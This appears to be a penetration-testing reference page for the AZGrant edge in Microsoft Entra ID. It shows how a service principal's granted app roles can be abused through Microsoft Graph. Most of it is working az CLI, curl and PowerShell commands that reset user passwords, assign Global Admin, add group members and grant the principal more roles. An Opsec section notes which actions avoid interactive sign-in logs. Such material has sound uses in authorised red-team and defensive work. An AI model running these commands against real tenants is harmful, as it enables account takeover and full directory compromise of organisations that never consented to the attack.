AZGrant

The source service principal has been granted an app role (application permission) on the target service principal, allowing it to act with that permission against the corresponding API without user interaction.

Applies to: AZServicePrincipal β†’ AZServicePrincipal (MS Graph or other API resource)


Linux Abuse

Enumerate granted app roles

az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>

# List app role assignments on the service principal
az ad sp show --id <app-id> --query 'appRoles'

# Via Graph API
TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

curl -s "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
  -H "Authorization: Bearer $TOKEN" | jq '.value[] | {appRoleId, resourceDisplayName}'

Use granted MS Graph permissions directly

# With client_credentials grant, get token scoped to the target API
TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

# Example: if granted User.ReadWrite.All β€” reset a password
curl -s -X PATCH "https://graph.microsoft.com/v1.0/users/<target-user-id>" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"passwordProfile": {"password": "<new-password>", "forceChangePasswordNextSignIn": false}}'

# Example: if granted RoleManagement.ReadWrite.Directory β€” assign Global Admin
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "principalId": "<object-id>",
    "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
    "directoryScopeId": "/"
  }'

# Example: if granted GroupMember.ReadWrite.All β€” add member to group
curl -s -X POST "https://graph.microsoft.com/v1.0/groups/<target-group-id>/members/\$ref" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"

Windows Abuse

Enumerate and abuse via Microsoft.Graph PowerShell

Connect-MgGraph -AccessToken <access-token>

# Enumerate what app roles the SP holds
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId <object-id> | 
  Select-Object AppRoleId, ResourceDisplayName

# Get client_credentials token and call Graph based on granted roles
$body = @{
  client_id     = "<app-id>"
  client_secret = "<secret>"
  scope         = "https://graph.microsoft.com/.default"
  grant_type    = "client_credentials"
}
$token = (Invoke-RestMethod -Method POST `
  -Uri "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" `
  -Body $body).access_token

# Use token with any MgGraph call
Connect-MgGraph -AccessToken $token

Grant additional app roles to self (if AZMGGrantAppRoles also held)

New-MgServicePrincipalAppRoleAssignment `
  -ServicePrincipalId "<object-id>" `
  -PrincipalId "<object-id>" `
  -ResourceId "<resource-sp-id>" `
  -AppRoleId "<role-id>"

Opsec

  • App role assignments are visible in Entra ID under Enterprise Applications β†’ Permissions.
  • Using granted permissions via client_credentials does not generate interactive sign-in events.
  • Audit logs record Graph API calls at the resource level, not the permission-grant level.
  • High-value roles to look for: RoleManagement.ReadWrite.Directory, User.ReadWrite.All, GroupMember.ReadWrite.All, Application.ReadWrite.All.